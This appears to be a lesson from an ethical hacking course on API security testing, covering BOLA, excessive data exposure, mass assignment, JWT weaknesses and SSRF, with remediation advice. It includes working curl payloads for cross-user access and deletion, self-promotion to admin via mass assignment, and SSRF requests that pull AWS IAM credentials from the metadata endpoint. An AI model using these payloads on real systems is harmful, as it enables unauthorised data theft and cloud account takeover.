Ethical Hacking
API Security
APIs power almost every modern application — mobile apps, single-page applications, third-party integrations, microservices. They also concentrate enormous attack surface into a set of endpoints that are often tested far less rigorously than traditional web interfaces. This lesson covers the vulnerabilities that appear most consistently in API assessments.
APIs as an attack surface
A traditional web application renders HTML pages that users interact with through a browser. An API returns raw data — typically JSON — that a client application consumes programmatically. The security model is fundamentally similar: requests carry authentication, the server checks permissions, data is returned. The vulnerabilities are the same classes — broken access control, injection, authentication failures — but they manifest differently and are often harder to discover without understanding the application's intended behaviour.
The OWASP API Security Top 10 — a separate list from the web application Top 10 — documents the most critical API-specific risks. Several overlap with the web Top 10 but the API context changes how they are exploited and detected. The four most consistently found issues in real API assessments are covered in this lesson: broken object-level authorisation (BOLA), authentication weaknesses, excessive data exposure, and mass assignment.
Reconnaissance — finding the API surface
Before testing an API, the scope of available endpoints must be established. Unlike web pages — which link to each other — API endpoints are not self-discoverable from the response content. The approach depends on what is available.
API documentation — Swagger, OpenAPI, Postman collections
Many organisations publish API documentation — intentionally or accidentally. Check common paths: /api/docs, /swagger, /swagger-ui.html, /openapi.json, /api-docs. A Swagger UI interface documents every endpoint, parameter, and expected response — and often has a built-in interface that lets you test calls directly. Finding public documentation that was not intended to be public is itself a finding.
Traffic analysis — intercepting the client application
For APIs consumed by a mobile app or single-page application, intercepting the client's traffic through Burp reveals every endpoint the application calls, the exact request format, and the authentication mechanism used. Configure the mobile device or browser to use Burp as its proxy, use the application normally, and map every API call that appears in the proxy history. This is the most reliable enumeration method — the client already knows every endpoint it needs.
JavaScript source analysis
Single-page applications bundle their API client code into JavaScript files that are served to the browser. These files contain the full list of API endpoints the application uses — often as string constants or URL templates. Browser developer tools → Sources tab reveals these files. Tools like LinkFinder and relative-url-extractor automate endpoint extraction from JavaScript bundles.
Broken Object Level Authorisation (BOLA) — the most common API vulnerability
BOLA is the API equivalent of Insecure Direct Object Reference from Lesson 37 — and it is the most consistently found vulnerability in API assessments. It occurs when an API endpoint that retrieves or modifies a specific object does not verify that the requesting user is authorised to access that specific object. Authentication passes — the user is logged in — but the authorisation check for the specific resource is missing.
The scenario: A mobile banking API exposes account information at /api/v1/accounts/{account_id}. The authenticated user's account ID is 10042. The API returns their account details correctly. The test is whether changing the account_id to another value returns data belonging to a different user.
# BOLA testing — manipulating object identifiers in API requests
# Use Burp Repeater to modify the ID parameter and observe responses
# Step 1 — baseline: retrieve own account data
# Authorization header carries the authenticated user's JWT or API key
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
https://api.targetapp.com/api/v1/accounts/10042
# Step 2 — test adjacent IDs — do you get other users' data?
# Increment and decrement the account ID
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
https://api.targetapp.com/api/v1/accounts/10041
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
https://api.targetapp.com/api/v1/accounts/10043
# Step 3 — test with Burp Intruder for range testing
# Mark the account_id as the injection point in Intruder
# Use a number payload: 10000 to 10100
# Compare responses — 200 with data vs 403 or 404
# Any 200 response with a different user's data confirms BOLA
# Step 4 — test non-sequential identifiers (UUIDs)
# Some APIs use UUIDs rather than sequential integers
# If the API exposes UUIDs in other responses (in a list endpoint, for example)
# collect them and test whether each can be accessed by a different user
curl -H "Authorization: Bearer USER_A_TOKEN" \
https://api.targetapp.com/api/v1/accounts/3fa85f64-5717-4562-b3fc-2c963f66afa6
# Step 5 — test cross-user write operations (not just read)
# BOLA affects PUT, PATCH, and DELETE too — not just GET
# Can you modify or delete another user's resource?
curl -X DELETE \
-H "Authorization: Bearer YOUR_JWT_TOKEN" \
https://api.targetapp.com/api/v1/accounts/10041/documents/99
--- GET /api/v1/accounts/10042 (own account) ---
HTTP/1.1 200 OK
{
"account_id": 10042,
"owner": "current_user@email.com",
"balance": 4821.50,
"transactions": [...]
}
--- GET /api/v1/accounts/10041 (different user) ---
HTTP/1.1 200 OK
{
"account_id": 10041,
"owner": "victim@otherdomain.com",
"balance": 18420.00,
"transactions": [...],
"card_number_last4": "4521"
}
--- Finding ---
BOLA confirmed: authenticated user can access any account by ID
Impact: full financial data exposure across all accounts
Breaking it down:
The server authenticated the request — the JWT is valid — but returned data belonging to account 10041, not the authenticated user. The authorisation check verified "is this user logged in?" not "does this user own account 10041?" These are two different checks and both must pass. Authentication without per-object authorisation is the structural failure that produces BOLA across APIs.
Sequential integer IDs are trivially enumerable — an attacker with account 10042 can iterate through every account in the system systematically. UUID-based IDs provide no authorisation security but do reduce the enumerability of the attack — an attacker must already know or have obtained a valid UUID before they can attempt to access the resource. Unpredictable IDs are not a substitute for proper authorisation, but they reduce the blast radius of a BOLA vulnerability considerably.
Excessive data exposure — APIs returning too much
APIs frequently return more data than the client application displays. The server returns a complete object — all fields — and the client filters what to show the user. The full object is visible in the raw API response even if not displayed in the UI. This design pattern transfers the responsibility for data minimisation to the client, which provides no security guarantee — the raw response is always readable by anyone intercepting or inspecting the traffic.
Testing for excessive data exposure is straightforward — compare what the API returns to what the application shows the user. Any data in the API response that the UI does not display is potentially excessive. Fields that appear in the API response but are described as "not shown to users" in the API documentation are explicitly excessive.
# Excessive data exposure testing
# Compare the raw API response to what the application displays in the UI
# Step 1 — find a user profile endpoint
# The application shows: Name, Username, Profile Picture
# Intercept the API call that fetches this data in Burp
curl -H "Authorization: Bearer TOKEN" \
https://api.targetapp.com/api/v1/users/me
# Step 2 — read the full JSON response
# Not just what the app shows — the entire response body
# Look for fields that the UI does not display:
# - password_hash (never appropriate to return)
# - internal_user_id, admin_flag, account_tier
# - email, phone, date_of_birth (may be intentionally hidden from profile)
# - api_keys, tokens, secrets
# Step 3 — test list endpoints for data exposure
# A user directory might show Name and Avatar in the UI
# but the /api/v1/users endpoint returns all users with full data
curl -H "Authorization: Bearer TOKEN" \
https://api.targetapp.com/api/v1/users
# Step 4 — check for hidden admin or internal fields
# Some APIs include internal metadata fields in responses
# that were only intended for debugging or internal tooling:
# is_admin: false, internal_score: 0, test_account: false
# These fields reveal internal application state and data model details
# even when false — confirming they exist and can potentially be exploited
--- UI displays ---
Name: John Smith
Username: jsmith
Avatar: [profile photo]
--- Raw API response /api/v1/users/me ---
{
"id": 10042,
"username": "jsmith",
"display_name": "John Smith",
"email": "john.smith@company.com",
"phone": "+44 7700 900123",
"password_hash": "$2a$12$hashed_password_here",
"is_admin": false,
"account_tier": "free",
"internal_user_score": 74,
"api_key": "sk_live_abc123def456ghi789",
"created_at": "2022-03-15T09:30:00Z"
}
--- Finding ---
API returns password_hash, live API key, and internal fields
None of these are displayed in the UI — all are unnecessarily exposed
Breaking it down:
A live API key (sk_live_) exposed in the profile endpoint response means every user who can call this endpoint effectively sees their own API key in the raw response — and with BOLA, potentially everyone else's. API keys in response bodies are a critical finding regardless of the severity assigned to the BOLA finding. The remediation requires server-side response filtering: the API must only return fields the client legitimately needs, not all fields the database column contains.
No client application ever needs the hashed password. Returning it in the API response is a data exposure finding regardless of the hash algorithm strength. Even a strong bcrypt hash can be cracked offline given enough time. The password hash should never appear in any API response to any authenticated or unauthenticated user — the server should filter it at the serialisation layer before the response is assembled.
Mass assignment — writing fields that should be read-only
Mass assignment occurs when an API endpoint that accepts a JSON body automatically maps the incoming fields to an internal object — including fields that were never intended to be user-controllable. A user profile update endpoint that accepts {"display_name": "New Name"} may also accept {"is_admin": true} if the server does not explicitly allowlist the fields it will process.
The attack is straightforward — add unexpected fields to a legitimate request and observe whether the server processes them. Fields to try: is_admin, role, account_tier, balance, verified, email_verified, plan, credit. Any field visible in an API response is a candidate for testing in a write request. If the excessive data exposure test revealed internal fields in the GET response, those same fields are the first to test for mass assignment in the PUT or PATCH request.
# Mass assignment testing
# The legitimate request — update display name
curl -X PATCH \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"display_name": "Updated Name"}' \
https://api.targetapp.com/api/v1/users/me
# Mass assignment test — add privileged fields alongside the legitimate one
# Fields taken from the GET /api/v1/users/me response discovered earlier
curl -X PATCH \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{
"display_name": "Updated Name",
"is_admin": true,
"account_tier": "premium",
"internal_user_score": 999
}' \
https://api.targetapp.com/api/v1/users/me
# After the PATCH — re-fetch the profile to check if the fields changed
curl -H "Authorization: Bearer TOKEN" \
https://api.targetapp.com/api/v1/users/me
# Check the response — did is_admin change to true?
# Did account_tier change to premium?
# Any accepted field that was not in the original allowed set is mass assignment
--- PATCH response ---
HTTP/1.1 200 OK
{
"message": "Profile updated successfully"
}
--- GET /api/v1/users/me after PATCH ---
{
"id": 10042,
"username": "jsmith",
"display_name": "Updated Name",
"is_admin": true, <-- CHANGED from false
"account_tier": "premium", <-- CHANGED from free
"internal_user_score": 999 <-- CHANGED from 74
}
--- Finding ---
Mass assignment confirmed: three privileged fields accepted and applied
Escalation path: standard user self-promoted to admin via API
Breaking it down:
A standard user submitted a PATCH request and made themselves an administrator by adding a single field to the JSON body. No vulnerability exploitation, no kernel exploit, no privilege escalation techniques from Section III — just an extra JSON field. This is among the most severe findings possible in a web application assessment because it provides full application admin access to any authenticated user who knows the field name. The field name was discovered in the GET response from the same endpoint.
The is_admin field was only known because the GET response exposed it in the first place. This is the chain that makes these two vulnerabilities compound each other: excessive data exposure reveals the internal object structure, mass assignment allows writing to it. Neither is as dangerous alone. Together they represent an escalation path from standard user to administrator that requires no technical expertise — just two API calls.
API authentication weaknesses
APIs authenticate requests differently from web applications — typically using JWT tokens, API keys, or OAuth flows rather than session cookies. Each mechanism has specific weaknesses that differ from cookie-based session management.
JWT vulnerabilities — algorithm confusion and weak secrets
JSON Web Tokens carry signed claims about the user's identity. Two critical JWT weaknesses appear in real assessments. The first is the "alg:none" attack — some libraries accept a JWT with the algorithm set to "none" and no signature, treating it as valid. The second is weak signing secrets — if the secret used to sign tokens is guessable (a short string, a default value like "secret" or "password"), an attacker can forge valid tokens for any user by generating their own signed JWT. jwt.io allows manual JWT construction. Hashcat can crack JWT secrets with -m 16500 (HS256 mode).
Test approach: Decode the JWT at jwt.io — check the alg field. Try submitting a token with alg set to "none" and the signature removed. Check the claims payload for sensitive data — sub, role, email, admin — that should not be client-accessible.
API keys in URLs and logs
API keys passed as URL query parameters — ?api_key=sk_live_abc123 — appear in web server logs, browser history, CDN logs, and Referer headers sent to third-party services. Any log aggregation system that processes those access logs contains live API credentials. API keys must travel in the Authorization header — never in URLs. Check whether the API accepts keys in both locations and whether the URL parameter option can be deprecated.
Test approach: Try moving the API key from the Authorization header to a query parameter. If the request still authenticates — document both methods and recommend disabling URL-based key authentication entirely.
Missing rate limiting on authentication endpoints
API authentication endpoints — /api/v1/auth/login, /api/v1/token, /oauth/token — are frequently missing the rate limiting that their web counterparts have. A login endpoint that returns a JWT on success can be brute forced with Burp Intruder exactly as the web login form was tested in Lesson 40. The absence of HTTP 429 responses after repeated failed authentication attempts is the finding. API rate limiting should apply per IP address, per username, and across the entire authentication endpoint cluster.
SSRF through API endpoints — reaching internal services
OWASP A10 — Server-Side Request Forgery — is particularly common in APIs that accept URLs as parameters. A webhook registration endpoint, an image import feature, a URL preview function — any API parameter that accepts a URL and causes the server to fetch it is a potential SSRF target.
In cloud environments, SSRF to the metadata endpoint at http://169.254.169.254 (AWS, GCP) or http://169.254.169.254/metadata (Azure) retrieves IAM credentials, instance identity, and configuration data. This is the same attack that caused the Capital One 2019 breach — and it remains one of the most critical findings possible in a cloud-hosted API assessment.
# SSRF testing in API endpoints that accept URLs
# Look for any parameter that causes the server to make an outbound HTTP request
# Common SSRF-vulnerable parameter names:
# url, webhook, callback, redirect, fetch, load, import, src, href, endpoint
# Step 1 — test with a known-reachable external host (Burp Collaborator)
# Burp Collaborator generates a unique URL that logs any incoming requests
# If the server fetches the URL, Collaborator records it
# This confirms the parameter causes server-side HTTP requests
curl -X POST \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"webhook_url": "https://YOUR_COLLABORATOR_ID.oastify.com"}' \
https://api.targetapp.com/api/v1/webhooks
# Step 2 — probe internal network addresses
# If the external request succeeds, try internal IP ranges
# Common internal addresses in cloud environments:
curl -X POST \
-H "Authorization: Bearer TOKEN" \
-d '{"webhook_url": "http://169.254.169.254/latest/meta-data/"}' \
https://api.targetapp.com/api/v1/webhooks
# Step 3 — attempt to read cloud IAM credentials (AWS)
# This specific path returns temporary access keys for the attached IAM role
curl -X POST \
-H "Authorization: Bearer TOKEN" \
-d '{"webhook_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
https://api.targetapp.com/api/v1/webhooks
--- Collaborator: DNS lookup received from server IP ---
Collaborator received request from 52.x.x.x (AWS IP range)
SSRF confirmed: server makes outbound requests
--- SSRF to metadata endpoint ---
HTTP/1.1 200 OK
{
"webhook_response": {
"status": 200,
"body": "app-role-name\n"
}
}
--- SSRF to IAM credentials ---
{
"webhook_response": {
"status": 200,
"body": {
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "abc123...",
"Token": "FwoGZXIvYXdz..."
}
}
}
--- Finding ---
SSRF to AWS metadata endpoint returns live IAM credentials
Cloud account access achieved through API webhook parameter
Breaking it down:
Temporary AWS IAM credentials — AccessKeyId, SecretAccessKey, and Token — retrieved through SSRF provide access to whatever AWS services the attached IAM role can reach. Depending on the role's permissions, this can mean S3 bucket access (customer data), EC2 control plane access (infrastructure), or even full account administrator access. This finding warrants immediate escalation and out-of-band notification to the client — do not wait for the end-of-engagement report.
AWS now defaults to Instance Metadata Service v2, which requires a PUT request with a session-oriented token before metadata can be read — a multi-step process that is significantly harder to exploit via SSRF. The fix recommendation for SSRF-to-metadata findings on AWS is to enforce IMDSv2 on all instances and apply an IAM policy that restricts the role to only the permissions the application actually needs (least privilege). Both changes together neutralise the most impactful consequence of the SSRF even if the SSRF itself is not immediately patchable.
Teacher's Note: The single most impactful habit for API testing is reading every API response completely — not just the fields the client application uses. Excessive data exposure and mass assignment are both invisible if you only look at what the UI displays. Open Burp's response pane, expand the full JSON, and read every field for every endpoint you test. The findings are right there in the response — they just require attention to notice.
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 44
Tools Summary
The complete reference — every tool covered across all 45 lessons, when to reach for each one, and how they fit together into a structured engagement workflow.